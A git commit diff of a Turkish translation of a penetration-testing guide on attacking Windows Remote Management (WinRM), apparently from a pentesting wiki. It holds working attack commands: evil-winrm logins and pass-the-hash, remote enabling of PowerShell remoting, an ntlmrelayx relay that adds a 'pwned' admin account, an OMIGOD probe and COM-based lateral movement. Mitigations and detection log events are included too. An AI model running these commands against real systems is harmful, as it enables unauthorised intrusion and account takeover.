Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:27 +00:00
parent 8b504026ff
commit 7281fa0375

View File

@ -4,7 +4,7 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>), **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz sunar.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>), **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
Bir makinede WinRM'in varlığı, PowerShell aracılığıyla basit uzaktan yönetim sağlar; bu, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer. WinRM'in çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığını kontrol etmek önerilir:
@ -15,32 +15,32 @@ Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve bö
### **WinRM Oturumu Başlatma**
PowerShell'i WinRM için yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
WinRM için PowerShell'i yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir; bu adım, sonuçları nedeniyle dikkatli bir değerlendirme gerektirir. Ayrıca, saldırganın makinesinde ağ türünün "Genel"den "İş"e değiştirilmesinin gerekli olabileceği de belirtilmiştir.
Ayrıca, WinRM `wmic` komutu kullanılarak **uzaktan etkinleştirilebilir**, aşağıdaki gibi gösterilmiştir:
Ayrıca, WinRM `wmic` komutu kullanılarak **uzaktan etkinleştirilebilir**, aşağıda gösterildiği gibi:
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzaktan yönetme esnekliğini artırır.
### Yapılandırıldığını test et
### Yapılandırıldığını Test Et
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
- **Doğru** bir şekilde yapılandırılmış bir hedef için, çıktı aşağıdaki gibi görünecektir:
```bash
Test-WSMan <target-ip>
```
Yanıt, protokol sürümü ve wsmid hakkında bilgi içermelidir; bu, WinRM'nin doğru bir şekilde yapılandırıldığını gösterir.
Yanıt, WinRM'nin doğru bir şekilde yapılandırıldığını belirten protokol sürümü ve wsmid hakkında bilgi içermelidir.
![](<../images/image (582).png>)
- Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve bu da uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.
- Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.
![](<../images/image (458).png>)
@ -115,9 +115,9 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Aşağıdaki hatayı bulursanız:
`enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma başarısız oldu, hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
`enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma, aşağıdaki hata mesajı ile başarısız oldu : WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
İstemcide deneme (bilgi için [buraya](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
İstemcide deneme (bilgiler [buradan](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -146,9 +146,9 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Evil-winrm kullanarak bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
Evil-winrm ile bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
### Hash'i evil-winrm ile geçin
### Hash'i evil-winrm ile geçirin
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
@ -160,9 +160,9 @@ docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Bir ruby betiği kullanma
### Bir ruby script kullanma
**Buradan alınan kod:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
**Kod buradan alınmıştır:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
require 'winrm-fs'
@ -220,7 +220,72 @@ end
- `port:5985 Microsoft-HTTPAPI`
## References
---
## Son Güvenlik Açıkları ve Saldırı Teknikleri (2021-2025)
### NTLM relay doğrudan WinRM (WS-MAN)
Impacket 0.11 (Mayıs 2023) itibarıyla `ntlmrelayx.py`, yakalanan NTLM kimlik bilgilerini doğrudan bir **WS-MAN**/WinRM dinleyicisine iletebilir. Bir ana bilgisayar hala **şifrelenmemiş HTTP (5985)** üzerinde dinliyorsa, bir saldırgan *mitm6* (veya *Responder*) kullanarak kimlik doğrulamayı zorlayabilir ve SYSTEM düzeyinde kod yürütme elde edebilir:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Mitigasyonlar
* HTTP dinleyicilerini devre dışı bırakın `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* HTTPS'yi zorlayın ve son Windows sürümlerinde Kimlik Doğrulama için Genişletilmiş Koruma (EPA) etkinleştirin.
### OMIGOD CVE-2021-38647 (Azure OMI)
Azure Linux ajanları, **Open Management Infrastructure (OMI)** hizmetini kullanır ve bu hizmet WinRM/WS-MAN API'sini **5985/5986** portlarında açar. Bir mantık hatası, **kimlik doğrulaması yapılmamış RCE'ye root olarak** izin verdi:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
OMI'yi (sürüm ≥ 1.6.8-1) yamanın veya kaldırmanın ve bu portları İnternet'ten engellemenin.
### WSMan.Automation COM kötüye kullanımı ile yan hareket
WinRM, `WSMan.Automation` COM nesnesi aracılığıyla PowerShell olmadan çalıştırılabilir Kısıtlı Dil modundaki sistemlerde faydalıdır. *SharpWSManWinRM* gibi araçlar bu tekniği sarmalar:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
İcra zinciri (`svchost → wmiprvse → cmd.exe`), klasik PS-Remoting ile aynıdır.
---
## Araç güncellemeleri
* **Evil-WinRM v3.x (2024)** artık **Kerberos** (`-k` / `--spn`) ve **sertifika tabanlı** kimlik doğrulama (`--cert-pem`/`--key-pem`), oturum kaydı (`-L`) ve uzak yol tamamlama özelliğini devre dışı bırakma yeteneğini destekliyor (`-N`).
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)**, CredSSP ve Kerberos dahil olmak üzere Linux'tan WinRM & PS-Remoting sunar:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **Tespit** **Microsoft-Windows-WinRM/Operational** günlüğünü izleyin:
* Olay 91 / 163 shell oluşturuldu
* Olay 182 kimlik doğrulama hatası
* Güvenlik günlüğünde olay 4262 kaynak IP'yi kaydeder (Temmuz 2022 CUs eklendi).
Bunları merkezi olarak toplayın ve anonim veya dış IP'ler için uyarı verin.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Referanslar
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)